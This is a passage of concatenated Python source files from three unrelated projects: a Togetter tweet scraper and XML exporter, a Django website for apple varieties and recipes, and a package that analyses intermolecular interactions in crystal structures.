lxml.etree.SubElement(root, 'datetime') date.text = str(self.datetime) date.set('timestamp', str(self.timestamp)) return root @staticmethod def root_tag() -> str: return 'tweet' @staticmethod def from_element(etree: lxml.etree._Element) -> 'Tweet': assert etree.tag == __class__.root_tag(), \ 'unexpected tag: {0}'.format(etree.tag) kwargs = {} kwargs['tweet'] = etree.find('tweet').text kwargs['tweet_link'] = etree.find('link').text kwargs['user_id'] = etree.find('user').get('id') kwargs['user_name'] = etree.find('user').get('name') kwargs['user_link'] = etree.find('user').get('link') kwargs['timestamp'] = int(etree.find('datetime').get('timestamp')) return Tweet(**kwargs) class TweetParser(object): """Initialize Args: element (lxml.etree._Element): HTML element representing the tweet""" def __init__(self, element: lxml.etree._Element) -> None: self._element = element @property def element(self) -> lxml.etree._Element: return self._element @property def tweet(self) -> str: xpath = r'.//div[@class= "tweet emj"]' result = self.element.xpath(xpath) assert len(result) == 1 text_list = [] if result[0].text is not None: text_list.append(result[0].text) for element in result[0]: if element.get('data-origin-url'): text_list.append(element.get('data-origin-url')) else: text_list.append(element.text) if element.tail is not None: text_list.append(element.tail) return ''.join(text_list) @property def user_name(self) -> str: xpath = r'.//a[@class= "user_link"]/strong' result = self.element.xpath(xpath) assert len(result) == 1 return result[0].text @property def user_id(self) -> str: xpath = r'.//a[@class= "user_link"]/span[@class= "status_name"]' result = self.element.xpath(xpath) assert len(result) == 1 return result[0].text @property def user_link(self) -> str: xpath = r'.//a[@class= "user_link"]' result = self.element.xpath(xpath) assert len(result) == 1 return result[0].get('href') @property def tweet_link(self) -> str: xpath = r'.//a[@class= "timestamp"]' result = self.element.xpath(xpath) assert len(result) == 1 return result[0].get('href') @property def timestamp(self) -> int: xpath = r'.//a[@class= "timestamp"]' result = self.element.xpath(xpath) assert len(result) == 1 return int(result[0].get('data-timestamp')) @property def datetime(self) -> _datetime.datetime: return _datetime.datetime.fromtimestamp(self.timestamp) def parse(self) -> Tweet: """Create Tweet class""" kwargs: Dict[str, Any] = {} kwargs['tweet'] = self.tweet kwargs['tweet_link'] = self.tweet_link kwargs['user_id'] = self.user_id kwargs['user_name'] = self.user_name kwargs['user_link'] = self.user_link kwargs['timestamp'] = self.timestamp return Tweet(**kwargs) --- FILE SEPARATOR --- # -*- coding:utf-8 -*- import logging import pathlib from typing import Union import lxml.html import requests class WebPage: def __init__( self, url: str, session: requests.sessions.Session = None, params: dict = None, logger: logging.Logger = None) -> None: """Initialize Arguments: url (str): URL to send. session (requests.sessions.Session, optional): A Requests session. Defaults to None. Then new Session will be Createed. params (dict, optional): dictonary of URL parameters to append to the URL. Defaults to None. logger (logging.Logger, optional): Logger Defauults to None, then new Logger will be Created""" self._logger = (logger if logger is not None else logging.getLogger(__name__)) self._session = session if session is not None else requests.Session() self._response = self._session.get(url, params=params) self._html = lxml.html.fromstring(self.response.content) @property def session(self) -> requests.sessions.Session: return self._session @property def url(self) -> str: return self._response.url @property def response(self) -> requests.Response: return self._response @property def html(self) -> lxml.html.HtmlElement: return self._html def page_title(self) -> str: """Get page title from HTML header""" xpath = r'head//title' return self.html.xpath(xpath)[0].text def save(self, filepath: Union[str, pathlib.Path]) -> None: """Save the contents of the pages in the file Args: filepath (str, pathlib.Path): Filepath to save the contents """ if isinstance(filepath, str): filepath = pathlib.Path(filepath) with filepath.open(mode='wb') as file: file.write(self.response.content) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import pathlib from typing import Union import lxml.etree def save_as_xml( element_tree: Union[lxml.etree._Element, lxml.etree._ElementTree], filepath: Union[str, pathlib.Path], pretty_print: bool = True) -> None: """save ElementTree in the file as XML Args: element_tree (lxml.etree._ElementTree): the ElementTree to be save. filepath (str, pathlib.Path): The path of the File to be output as XML. pretty_print (bool) optional: The Argument of lxml.etree.tostring. Defaults to True. """ if not isinstance(filepath, pathlib.Path): filepath = pathlib.Path(filepath) with filepath.open(mode='w', encoding='utf-8', newline='') as file: file.write(lxml.etree.tostring( element_tree, encoding='utf-8', pretty_print=pretty_print, xml_declaration=True).decode('utf-8'))
[ "/get_sample.py", "/togetter/__init__.py", "/togetter/togetter.py", "/togetter/togetter_page.py", "/togetter/togetter_page_parser.py", "/togetter/togetter_user_page.py", "/togetter/tweet.py", "/togetter/webpage.py", "/togetter/xml_tools.py" ]
0890866/karelapple
# -*- coding: utf-8 -*- # Generated by Django 1.10.4 on 2017-01-16 18:43 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='AppleType', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('apple_name', models.CharField(max_length=100)), ('ripening_date', models.CharField(blank=True, default='-', max_length=300)), ('eating', models.BooleanField()), ('cooking', models.BooleanField()), ('sauce', models.BooleanField()), ('pie', models.BooleanField()), ('juice', models.BooleanField()), ('butter', models.BooleanField()), ('notes', models.CharField(blank=True, default='-', max_length=2000)), ], ), migrations.CreateModel( name='Ingredients', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('ingredient', models.CharField(db_index=True, max_length=100, null=True)), ], ), migrations.CreateModel( name='Recipe', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=150)), ('steps', models.TextField()), ('author', models.CharField(max_length=50)), ('picture', models.FileField(upload_to='')), ('apple', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='apple.AppleType')), ('ingredients', models.ManyToManyField(related_name='RecipesIngredients', to='apple.Ingredients')), ], ), ] --- FILE SEPARATOR --- # -*- coding: utf-8 -*- # Generated by Django 1.10.4 on 2017-01-16 18:49 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('apple', '0001_initial'), ] operations = [ migrations.RemoveField( model_name='recipe', name='ingredients', ), migrations.AddField( model_name='recipe', name='ingredients', field=models.TextField(blank=True), ), migrations.DeleteModel( name='Ingredients', ), ] --- FILE SEPARATOR --- from django.db import models # Create your models here. class AppleType(models.Model): apple_name = models.CharField(max_length=100) ripening_date = models.CharField(max_length=300, blank=True, default='-') eating = models.BooleanField() cooking = models.BooleanField() sauce = models.BooleanField() pie = models.BooleanField() juice = models.BooleanField() butter = models.BooleanField() notes = models.CharField(max_length=2000, blank=True, default='-') def __str__(self): return self.apple_name class Recipe(models.Model): title = models.CharField(max_length=150) apple = models.ForeignKey(AppleType, on_delete=models.CASCADE, null=True) ingredients = models.TextField(blank=True) steps = models.TextField() author = models.CharField(max_length=50) picture = models.FileField() --- FILE SEPARATOR --- from django.conf.urls import url from . import views urlpatterns = [ url(r'^$', views.apples, name="apples"), url(r'^(?P<apple_id>[0-9]+)/$', views.detail, name='detail'), ] --- FILE SEPARATOR --- from django.shortcuts import render from django.http import Http404 from django.contrib.auth.decorators import login_required from django.views.generic.edit import CreateView, DeleteView from .models import AppleType from .models import Recipe # Create your views here. def apples(request): all_apples = AppleType.objects.all() context = {'all_apples': all_apples} return render(request, 'apple/apple.html', context) def detail(request, apple_id): try: apple = AppleType.objects.get(pk=apple_id) except AppleType.DoesNotExist: raise Http404("Page does not exist") return render(request, 'apple/detail.html', {'apple': apple}) def index(request): context = {} return render(request, 'apple/index.html', context) def recipes(request): all_recipes = Recipe.objects.all() context = {'all_recipes': all_recipes} return render(request, 'apple/recipes.html', context) class add_apple(CreateView): model = AppleType fields = ['apple_name', 'ripening_date', 'eating', 'cooking', 'sauce', 'pie', 'juice', 'butter', 'notes'] class add_recipe(CreateView): model = Recipe fields = ['title', 'apple', 'ingredients', 'steps', 'author', 'picture'] --- FILE SEPARATOR --- from django.conf.urls import include, url from django.contrib import admin from django.contrib.auth import views from django.conf import settings from django.conf.urls.static import static from apple.views import (recipes, add_apple, add_recipe, index) urlpatterns = [ url(r'^admin/', admin.site.urls), url(r'^apple/', include('apple.urls')), url(r'^recipes/', recipes, name="recipes"), url(r'^accounts/login/$', views.login, name="login"), url(r'^accounts/logout/$', views.logout, name='logout', kwargs={'next_page': '/index'}), url(r'^add_apple/', add_apple.as_view(success_url="/apple"), name='add_apple'), url(r'^add_recipe/', add_recipe.as_view(success_url="/recipes"), name="add_recipe"), url(r'^index/', index, name="index"), ] if settings.DEBUG: urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
[ "/apple/migrations/0001_initial.py", "/apple/migrations/0002_auto_20170116_1949.py", "/apple/models.py", "/apple/urls.py", "/apple/views.py", "/website/urls.py" ]
08haganh/crystal_interactions_finder_hh
''' File to store Atom class Attributes - symbol; string; 'C', 'N' - type; string; C.ar - coordinates; np.array; array([1,0,0]) - vdw_radius; float - mass; float - label; string - bonds; list; list of bond objects - neighbour; list; list of atom objects - interaction_dict; dictionary; dictionary of interaction types the atom can partake in Methods - translate(new_coordinates); return None; moves atom to new position - rotate(about,angle); return None; rotates atom about point (x,y,z) by angle - remove(); return None; deletes atom - assign_label(label); return None; relabels the atom to label - get_parent_molecule_index(); return int; return the index of the parent molecule in the crystal ''' import numpy as np from .Geometry import * class Atom(): def __init__(self,atom_symbol,atom_type,coordinates,label=''): self.symbol = atom_symbol self.type = atom_type self.coordinates = np.array(coordinates) self.label = label self.bonds = [] self.neighbours = [] self.interaction_dict = {} try: self.mass = atomic_mass[self.symbol] except: self.mass = 0 try: self.vdw_radius = vdw_radii[self.symbol] except: self.vdw_radius = 0 def __str__(self): return '{self.label}'.format(self=self) def translate(self,new_position): self.coordinates = new_position def rotate(self,about,angle): pass def remove(self): del self def assign_label(self,label): self.label = label def get_parent_molecule_index(self,crystal): for i, molecule in enumerate(crystal.molecules): if self in molecule.atoms: return i raise 'Atom not found in crystal' class RingCentroid(Atom): def __init__(self,ring_atoms,atom_symbol,atom_type,coordinates,label=''): self.symbol = atom_symbol self.type = atom_type self.coordinates = np.array(coordinates) self.ring_atoms = [atom for atom in ring_atoms] self.label = label self.bonds = [] self.neighbours = [] self.interaction_dict = {} self.has_vectors = False try: self.mass = atomic_mass[self.symbol] except: self.mass = 0 try: self.vdw_radius = vdw_radii[self.symbol] except: self.vdw_radius = 0 def get_vectors(self): self.plane = Plane(self.ring_atoms) y_vect = np.array([self.plane.a,self.plane.b,self.plane.c]) x_vect = self.ring_atoms[0].coordinates - self.coordinates z_vect = np.cross(x_vect,y_vect) assert np.round(vector_angle(x_vect,y_vect),0) == 90 assert np.round(vector_angle(x_vect,z_vect),0) == 90 assert np.round(vector_angle(z_vect,y_vect),0) == 90 x_mag = np.sqrt(x_vect.dot(x_vect)) y_mag = np.sqrt(y_vect.dot(y_vect)) z_mag = np.sqrt(z_vect.dot(z_vect)) for i, x in enumerate(x_vect): x_vect[i] = x * 1/x_mag for i, y in enumerate(y_vect): y_vect[i] = y * 1/y_mag for i, z in enumerate(z_vect): z_vect[i] = z * 1/z_mag self.vectors = np.vstack([x_vect, y_vect, z_vect]) self.has_vectors = True vdw_radii = { 'Al': 2, 'Sb': 2, 'Ar': 1.88, 'As': 1.85, 'Ba': 2, 'Be': 2, 'Bi': 2, 'B': 2, 'Br': 1.85, 'Cd': 1.58, 'Cs': 2, 'Ca': 2, 'C': 1.7, 'Ce': 2, 'Cl': 1.75, 'Cr': 2, 'Co': 2, 'Cu': 1.4, 'Dy': 2, 'Er': 2, 'Eu': 2, 'F': 1.47, 'Gd': 2, 'Ga': 1.87, 'Ge': 2, 'Au': 1.66, 'Hf': 2, 'He': 1.4, 'Ho': 2, 'H': 1.09, 'In': 1.93, 'I': 1.98, 'Ir': 2, 'Fe': 2, 'Kr': 2.02, 'La': 2, 'Pb': 2.02, 'Li': 1.82, 'Lu': 2, 'Mg': 1.73, 'Mn': 2, 'Hg': 1.55, 'Mo': 2, 'Nd': 2, 'Ne': 1.54, 'Ni': 1.63, 'Nb': 2, 'N': 1.55, 'Npl': 1.55, 'Os': 2, 'O': 1.52, 'Pd': 1.63, 'P': 1.8, 'Pt': 1.72, 'K': 2.75, 'Pr': 2, 'Pa': 2, 'Re': 2, 'Rh': 2, 'Rb': 2, 'Ru': 2, 'Sm': 2, 'Sc': 2, 'Se': 1.9, 'Si': 2.1, 'Ag': 1.72, 'Na': 2.27, 'Sr': 2, 'S': 1.8, 'Ta': 2, 'Te': 2.06, 'Tb': 2, 'Tl': 1.96, 'Th': 2, 'Tm': 2, 'Sn': 2.17, 'Ti': 2, 'W': 2, 'U': 1.86, 'V': 2, 'Xe': 2.16, 'Yb': 2, 'Y': 2, 'Zn': 1.29, 'Zr': 2, 'X': 1.0, 'D': 1.0, 'O2': 1.52,'ring':0, 'AL': 2, 'SB': 2, 'AR': 1.88, 'AS': 1.85, 'BA': 2, 'BE': 2, 'BI': 2, 'B': 2, 'BR': 1.85, 'CD': 1.58, 'CS': 2, 'CA': 2, 'C': 1.7, 'CE': 2, 'CL': 1.75, 'CR': 2, 'CO': 2, 'CU': 1.4, 'DY': 2, 'ER': 2, 'EU': 2, 'F': 1.47, 'GD': 2, 'GA': 1.87, 'GE': 2, 'AU': 1.66, 'HF': 2, 'HE': 1.4, 'HL': 2, 'H': 1.09, 'IN': 1.93, 'I': 1.98, 'IR': 2, 'FE': 2, 'KR': 2.02, 'LA': 2, 'PB': 2.02, 'LI': 1.82, 'LU': 2, 'MG': 1.73, 'MN': 2, 'HG': 1.55, 'MO': 2, 'ND': 2, 'NE': 1.54, 'NI': 1.63, 'NB': 2, 'N': 1.55, 'NPL': 1.55, 'OS': 2, 'O': 1.52, 'PD': 1.63, 'P': 1.8, 'PT': 1.72, 'K': 2.75, 'PR': 2, 'PA': 2, 'RE': 2, 'RH': 2, 'RB': 2, 'RU': 2, 'SM': 2, 'SC': 2, 'SE': 1.9, 'SI': 2.1, 'AG': 1.72, 'NA': 2.27, 'SR': 2, 'S': 1.8, 'TA': 2, 'TE': 2.06, 'TB': 2, 'TL': 1.96, 'TH': 2, 'TM': 2, 'SN': 2.17, 'TI': 2, 'W': 2, 'U': 1.86, 'V': 2, 'XE': 2.16, 'YB': 2, 'Y': 2, 'ZN': 1.29, 'ZR': 2, 'X': 1.0, 'D': 1.0, 'O2': 1.52,'ring':0 } atomic_mass = { 'H':1.0079, 'He':4.0026, 'Li':6.941, 'Be':9.0122, 'B':10.811, 'C':12.0107, 'N': 14.0067, 'O':15.9994, 'F':18.9984, 'Ne':20.1797, 'Na':22.9897, 'Mg':24.305, 'Al':26.9815, 'Si':28.0855, 'P':30.9738, 'S':32.065, 'Cl':35.453, 'K':39.0983, 'Ar':39.948, 'Ca':40.078, 'Sc':44.9559, 'Ti':47.867, 'V':50.9415, 'Cr':51.9961, 'Mn':54.938, 'Fe':55.845, 'Ni':58.6934, 'Co':58.9332, 'Cu':63.546, 'Zn':65.39 } --- FILE SEPARATOR --- ''' File to store the Bond class Attributes - atom1; atom object of atom1 of the bond - atom2; atom object of atom2 of the bond - order; string; order of the bond - atoms; np.array; array of atom objects of the atoms involved in the bond Methods - length(); return float; returns the length of the bond ''' import numpy as np class Bond(): def __init__(self,atom1,atom2,order): self.atom1 = atom1 self.atom2 = atom2 self.order = order self.atoms = np.array([atom1,atom2]) def length(self): displacement = self.atom2.coordinates - self.atom1.coordinates return np.sqrt(displacement.dot(displacement)) --- FILE SEPARATOR --- ''' File to store the Crystal class Attributes - molecules; list; list of all of the molecule objects in the crystal Methods - add_molecule(Molecule); return None; appends a Molecule object to molecules list - add_molecules(list); return None; iterates through list of Molecule objects and appends them to molecules list - centre_of_geometry(); return np.array; returns the coordinates of the centre of geometry of the crystal as a numpy array - get_intermolecular_interactions(); return list; returns a list of Interaction objects for each pair of atoms that do not share a parent molecule in the crystal - get_centroid_displacements(basis=None); return - get_central_molecule(); return Molecule; returns the molecule that is closest to the centre of geometry of the crystal - get_molecule_centroids(); return list; returns a list of np.array objects of the coordinates of the centre of geometry for each molecule in the crystal - get_unique_dimers(); return list; returns a list of Molecule objects containing the unique dimers in the crystal - get_molecule_atom_distances(mol1_index,mol2_index); return list; returns list of intermolecular atomic distances between two molecules in the crystal - get_molecule_atom_vdw_distances(mol1_index,mol2_index); return list; returns list of intermolecular atomic distances minus the sum of their vdw_radii between two molecules in the crystal - to_nx_graph(by='all'/'molecular_centroids'); return Networkx graph object; returns an nx graph object of the crystal. If by ='all' the full list of atoms are the nodes and the covalent and intermolecular_bonds are the edges If by='molecular_centroids' the molecular centroids are the nodes and the edges are the set of intermolecular interactions between two molecules. default = 'all' ''' from .Atom import Atom from .Bond import Bond from .Molecule import Molecule, Acene from .Interaction import * from .Geometry import * import numpy as np import os import shutil from openbabel import openbabel import pandas as pd def calc_lstsq_displacement(disp,vectors): A = vectors.T xs = [] x, _, _, _ = np.linalg.lstsq(A,disp,rcond=-1) xs.append(x) return np.array(xs[0]) class Crystal(): def __init__(self,molecules=[]): self.molecules = molecules self.dimers = [] def add_molecule(self,molecule): self.molecules.append(molecule) def add_molecules(self,molecules): for molecule in molecules: self.add_molecule(molecule) def centre_of_geometry(self): mol_centroids = self.get_molecule_centroids() return np.mean(mol_centroids,axis=0) def to_xyz(self,filename): atom_symbols = np.array([atom.symbol for molecule in self.molecules for atom in molecule.atoms]) atoms = [atom for molecule in self.molecules for atom in molecule.atoms] unique_atoms = np.unique(atom_symbols) atom_count_dict = {} for unique_atom in unique_atoms: atom_count_dict[unique_atom] = np.sum(np.isin(atom_symbols,unique_atom)) with open(f'{filename}.xyz','w') as file: file.write(f'{len(atom_symbols)}\n') for key in atom_count_dict.keys(): file.write(f'{key}{atom_count_dict[key]} ') file.write('\n') for atom in atoms: coords = atom.coordinates file.write(f'{atom.symbol} {coords[0]} {coords[1]} {coords[2]}\n') return None def get_central_molecule(self,return_idx=False): crystal_cog = np.array(self.centre_of_geometry()) mol_cogs = np.array(self.get_molecule_centroids()) displacements = np.array([mol_cog - crystal_cog for mol_cog in mol_cogs]) distances = [np.sqrt(displacement.dot(displacement)) for displacement in displacements] idxs = [x for x in range(len(self.molecules))] idx = idxs[np.where(distances == np.min(distances))[0][0]] if return_idx: return self.molecules[idx], idx else: return self.molecules[idx] def get_molecule_centroids(self): mol_centroids = [] for molecule in self.molecules: mol_centroids.append(molecule.centre_of_geometry()) return mol_centroids def unique_dimers_to_xyz(self): com_distances = [] for i, mol1 in enumerate(self.molecules): for j, mol2 in enumerate(self.molecules[i+1:],i+1): cog1 = mol1.centre_of_geometry() cog2 = mol2.centre_of_geometry() displacement = cog2 - cog1 distance = np.round(np.sqrt(displacement.dot(displacement)),3) atom_distances = self.get_molecule_atom_distances(i,j) if distance in com_distances: continue elif ((distance > 5) & (np.min(atom_distances) > 5)): continue else: dimer = Molecule(atoms = mol1.atoms+mol2.atoms, bonds = mol1.bonds+mol2.bonds) dimer.to_xyz(f'mol{i}_mol{j}_dimer') com_distances.append(distance) def get_unique_dimers(self): dimers = [] com_distances = [] for i, mol1 in enumerate(self.molecules): for j, mol2 in enumerate(self.molecules[i+1:],i+1): cog1 = mol1.centre_of_geometry() cog2 = mol2.centre_of_geometry() displacement = cog2 - cog1 distance = np.round(np.sqrt(displacement.dot(displacement)),3) atom_distances = self.get_molecule_atom_distances(i,j) if distance in com_distances: continue elif ((distance > 5) & (np.min(atom_distances) > 5)): continue else: dimer = Molecule(atoms = mol1.atoms+mol2.atoms, bonds = mol1.bonds+mol2.bonds) dimers.append(dimer) com_distances.append(distance) return dimers def unique_dimers_to_mol(self): os.mkdir('./tempdir') os.chdir('./tempdir') file = open('names.txt','w') com_distances = [] for i, mol1 in enumerate(self.molecules): for j, mol2 in enumerate(self.molecules[i+1:],i+1): cog1 = mol1.centre_of_geometry() cog2 = mol2.centre_of_geometry() displacement = cog2 - cog1 distance = np.round(np.sqrt(displacement.dot(displacement)),3) atom_distances = self.get_molecule_atom_distances(i,j) if distance in com_distances: continue elif ((distance > 5) & (np.min(atom_distances) > 5)): continue else: dimer = Molecule(atoms = mol1.atoms+mol2.atoms, bonds = mol1.bonds+mol2.bonds) dimer.to_xyz(f'mol{i}_mol{j}_dimer') obConversion = openbabel.OBConversion() obConversion.SetInAndOutFormats("xyz", "mol") mol = openbabel.OBMol() obConversion.ReadFile(mol, f'mol{i}_mol{j}_dimer.xyz') mol.AddHydrogens() obConversion.WriteFile(mol, f'mol{i}_mol{j}_dimer.mol') shutil.copy(f'mol{i}_mol{j}_dimer.mol',f'../mol{i}_mol{j}_dimer.mol') os.remove(f'mol{i}_mol{j}_dimer.xyz') os.remove(f'mol{i}_mol{j}_dimer.mol') file.write(f'mol{i}_mol{j}_dimer\n') com_distances.append(distance) file.close() shutil.copy('names.txt','../names.txt') os.remove('names.txt') os.chdir('..') os.rmdir('tempdir') def get_molecule_atom_distances(self,mol1_index,mol2_index): distances = [] for atom1 in self.molecules[mol1_index].atoms: for atom2 in self.molecules[mol2_index].atoms: coords1 = atom1.coordinates coords2 = atom2.coordinates disp = coords2 - coords1 dist = np.round(np.sqrt(disp.dot(disp)),3) distances.append(dist) return distances def get_molecule_atom_vdw_distances(self,mol1_index,mol2_index): distances = [] for atom1 in self.molecules[mol1_index].atoms: for atom2 in self.molecules[mol2_index].atoms: coords1 = atom1.coordinates coords2 = atom2.coordinates disp = coords2 - coords1 dist = np.round(np.sqrt(disp.dot(disp)),3) dist -= (atom1.vdw_radius + atom2.vdw_radius) distances.append(dist) return distances --- FILE SEPARATOR --- import math import numpy as np class Plane(): def __init__(self,atoms): # Stores a plane equation in the format # ax + bx + cz + d = 0 self.atoms = atoms xs = [atom.coordinates[0] for atom in atoms] ys = [atom.coordinates[1] for atom in atoms] zs = [atom.coordinates[2] for atom in atoms] # do fit tmp_A = [] tmp_b = [] for i in range(len(xs)): tmp_A.append([xs[i], ys[i], 1]) tmp_b.append(zs[i]) b = np.matrix(tmp_b).T A = np.matrix(tmp_A) fit = (A.T * A).I * A.T * b self.errors = b - A * fit fit = np.array(fit).reshape(3) self.a, self.b, self.d = fit[0], fit[1], fit[2] # fit is currently in the form # ax + by + d = cz # c = -(a*x[0] + b*y[0] + d) / z[0] self.c = - ((self.a*xs[0] + self.b*ys[0] + self.d) / zs[0]) def plane_angle(self, plane): a1,b1,c1 = self.a,self.b, self.c a2,b2,c2 = plane.a,plane.b, plane.c d = ( a1 * a2 + b1 * b2 + c1 * c2 ) e1 = np.sqrt( a1 * a1 + b1 * b1 + c1 * c1) e2 = np.sqrt( a2 * a2 + b2 * b2 + c2 * c2) d = d / (e1 * e2) A = np.degrees(np.arccos(d)) if A > 90: A = 180 - A return A def point_distance(self,atom): x1, y1, z1 = atom.coordinates[0], atom.coordinates[1], atom.coordinates[2] d = np.abs((self.a * x1 + self.b * y1 + self.c * z1 + self.d)) e = (np.sqrt(self.a * self.a + self.b * self.b + self.c * self.c)) return d/e def test_planarity(self,atoms = None): if atoms == None: devs = [self.point_distance(atom) for atom in self.atoms] if len(np.where(np.array(devs)>2)[0]) >= 1: return False else: return True else: devs = [self.point_distance(atom) for atom in atoms] if len(np.where(np.array(devs)>2)[0]) >= 1: return False else: return True def bond_angle(atom1,atom2,atom3): a = atom1.coordinates b = atom2.coordinates c = atom3.coordinates ba = a - b bc = c - b cosine_angle = np.dot(ba, bc) / (np.linalg.norm(ba) * np.linalg.norm(bc)) angle = np.arccos(cosine_angle) return np.degrees(angle) def torsional_angle(atom1,atom2,atom3,atom4): # returns interplanar angle between planes defined by atom1, atom2, atom3, and atom2, atom3, atom4 pass def vector(atom1,atom2, as_angstrom=False): # returns the vector defined by the position between two atoms pass def calc_lstsq_displacement(disp,vectors): A = vectors.T xs = [] x, _, _, _ = np.linalg.lstsq(A,disp,rcond=-1) xs.append(x) return np.array(xs[0]) def vector_angle(v1,v2): theta = np.arccos((v1.dot(v2))/(np.sqrt(v1.dot(v1))*np.sqrt(v2.dot(v2)))) return np.degrees(theta) def vector_plane_angle(vector, plane): # returns the angle made between a vector and a plane pass # https://stackoverflow.com/questions/14016898/port-matlab-bounding-ellipsoid-code-to-python # Python implementation of the MATLAB function MinVolEllipse, based on the Khachiyan algorithm # for both # A is a matrix containing the information regarding the shape of the ellipsoid # to get radii from A you have to do SVD on it, giving U Q and V # 1 / sqrt(Q) gives the radii of the ellipsoid # problems arise for planar motifs. add two extra points at centroid of +/- 0.00001*plane_normal to overcome def mvee(atoms, tol = 0.00001): """ Find the minimum volume ellipse around a set of atom objects. Return A, c where the equation for the ellipse given in "center form" is (x-c).T * A * (x-c) = 1 [U Q V] = svd(A); where r = 1/sqrt(Q) V is rotation matrix U is ??? """ points_asarray = np.array([atom.coordinates for atom in atoms]) points = np.asmatrix(points_asarray) N, d = points.shape Q = np.column_stack((points, np.ones(N))).T err = tol+1.0 u = np.ones(N)/N try: while err > tol: # assert u.sum() == 1 # invariant X = Q * np.diag(u) * Q.T M = np.diag(Q.T * la.inv(X) * Q) jdx = np.argmax(M) step_size = (M[jdx]-d-1.0)/((d+1)*(M[jdx]-1.0)) new_u = (1-step_size)*u new_u[jdx] += step_size err = la.norm(new_u-u) u = new_u c = u*points A = la.inv(points.T*np.diag(u)*points - c.T*c)/d except: # For singular matrix errors i.e. motif is ellipse rather than ellipsoid centroid = np.average(points_asarray,axis=0) plane = Plane(atoms) normal = np.array([plane.a,plane.b,plane.c]) norm_mag = np.sqrt(np.dot(normal,normal)) for i, norm in enumerate(normal): normal[i] = norm * 1 / norm_mag centroid = np.average(points,axis=0).reshape(-1,3) p1 = centroid + normal*0.00001 p2 = centroid - normal*0.00001 points_asarray = np.concatenate([points_asarray,p1,p2],axis=0) points = np.asmatrix(points_asarray) N, d = points.shape Q = np.column_stack((points, np.ones(N))).T err = tol+1.0 u = np.ones(N)/N while err > tol: # assert u.sum() == 1 # invariant X = Q * np.diag(u) * Q.T M = np.diag(Q.T * la.inv(X) * Q) jdx = np.argmax(M) step_size = (M[jdx]-d-1.0)/((d+1)*(M[jdx]-1.0)) new_u = (1-step_size)*u new_u[jdx] += step_size err = la.norm(new_u-u) u = new_u c = u*points A = la.inv(points.T*np.diag(u)*points - c.T*c)/d return np.asarray(A), np.squeeze(np.asarray(c)) def ellipse(rx,ry,rz): u, v = np.mgrid[0:2*np.pi:20j, -np.pi/2:np.pi/2:10j] x = rx*np.cos(u)*np.cos(v) y = ry*np.sin(u)*np.cos(v) z = rz*np.sin(v) return x,y,z --- FILE SEPARATOR --- import numpy as np from .Geometry import * config = {'hydrogen_bond':{'dist_cutoff':4.1,'min_angle':150,'max_angle':180}, 'pi_pi_bond':{'dist_cutoff':5.5,'min_angle':0,'max_angle':30,'max_offset':4.0}, 'halogen_bond':{'dist_cutoff':4.0,'min_angle':0,'max_angle':30}, 'ch_pi_bond':{'dist_cutoff':4.0,'min_angle':0,'max_angle':50}, 'hydrophobic_cc_bond':{'dist_cutoff':4.0}} def assign_atom_interaction_dict(atom): # Define interaction types interaction_dict = {'hydrogen_bond':{'acceptor':False, 'donor':False}, 'pi_pi_bond':{'acceptor':False, 'donor':False}, 'halogen_bond':{'acceptor':False, 'donor':False}, 'ch_pi_bond':{'acceptor':False, 'donor':False}, 'hydrophobic_cc_bond':{'acceptor':False, 'donor':False}} # Code to assign whether atom is X Bond acceptor and/or donor # Hydrogen Bond Acceptor if atom.symbol in ['O','N','F','S']: interaction_dict['hydrogen_bond']['acceptor'] = True # Hydrogen Bond Donor if atom.symbol == 'H': all_bonded_atoms = [] for bond in atom.bonds: all_bonded_atoms.append(bond.atom1.symbol) all_bonded_atoms.append(bond.atom2.symbol) if np.sum(np.isin(np.array(['O','N','F','S','ring']),np.array(all_bonded_atoms))) > 0: interaction_dict['hydrogen_bond']['donor'] = True # Pi bond acceptor and donor if ((atom.symbol == 'ring') & (atom.type == 'aromatic')): interaction_dict['pi_pi_bond']['acceptor'] = True interaction_dict['pi_pi_bond']['donor'] = True # Halogen Bond Acceptor if atom.symbol in ['O','N','S','Se','P','F','Cl','CL','Br','BR','I']: interaction_dict['halogen_bond']['acceptor'] = True # Halogen Bond Donor if atom.symbol in ['F','CL','Cl','BR','Br','I']: interaction_dict['halogen_bond']['donor'] = True # CH pi Bond Acceptor if ((atom.symbol == 'ring') & (atom.type == 'aromatic')): interaction_dict['ch_pi_bond']['acceptor'] = True # CH pi Bond Donor if atom.symbol == 'H': all_bonded_atoms = [] for bond in atom.bonds: all_bonded_atoms.append(bond.atom1.symbol) all_bonded_atoms.append(bond.atom2.symbol) if np.sum(np.isin(np.array(['C']),np.array(all_bonded_atoms))) > 0: interaction_dict['ch_pi_bond']['donor'] = True # Hydrophobic C-C bond Acceptor and Donor if atom.symbol == 'C': all_bonded_atoms = [] for bond in atom.bonds: all_bonded_atoms.append(bond.atom1.symbol) all_bonded_atoms.append(bond.atom2.symbol) if np.sum(np.isin(np.array(all_bonded_atoms),np.array(['C','H']),invert=True)) == 0: interaction_dict['hydrophobic_cc_bond']['donor'] = True interaction_dict['hydrophobic_cc_bond']['acceptor'] = True return interaction_dict class Interaction(): def __init__(self,atom1,atom2): self.atom1 = atom1 self.atom2 = atom2 self.atoms = [atom1, atom2] self.vdw_sum = self.atom1.vdw_radius + self.atom2.vdw_radius self.vdw_contact = self.length() < self.vdw_sum self.vdw_distance = self.length() - self.vdw_sum self.assign_interaction() def assign_interaction(self): self.types = {'hydrogen_bond':0,'pi_pi_bond':0,'halogen_bond':0,'ch_pi_bond':0,'hydrophobic_cc_bond':0, 'bond_angle':np.nan,'theta1':np.nan,'theta2':np.nan} distance = self.length() # Assign whether hydrogen bond hydrogen_donor_acceptor = (((self.atom1.interaction_dict['hydrogen_bond']['acceptor']) & (self.atom2.interaction_dict['hydrogen_bond']['donor'])) | ((self.atom2.interaction_dict['hydrogen_bond']['acceptor']) & 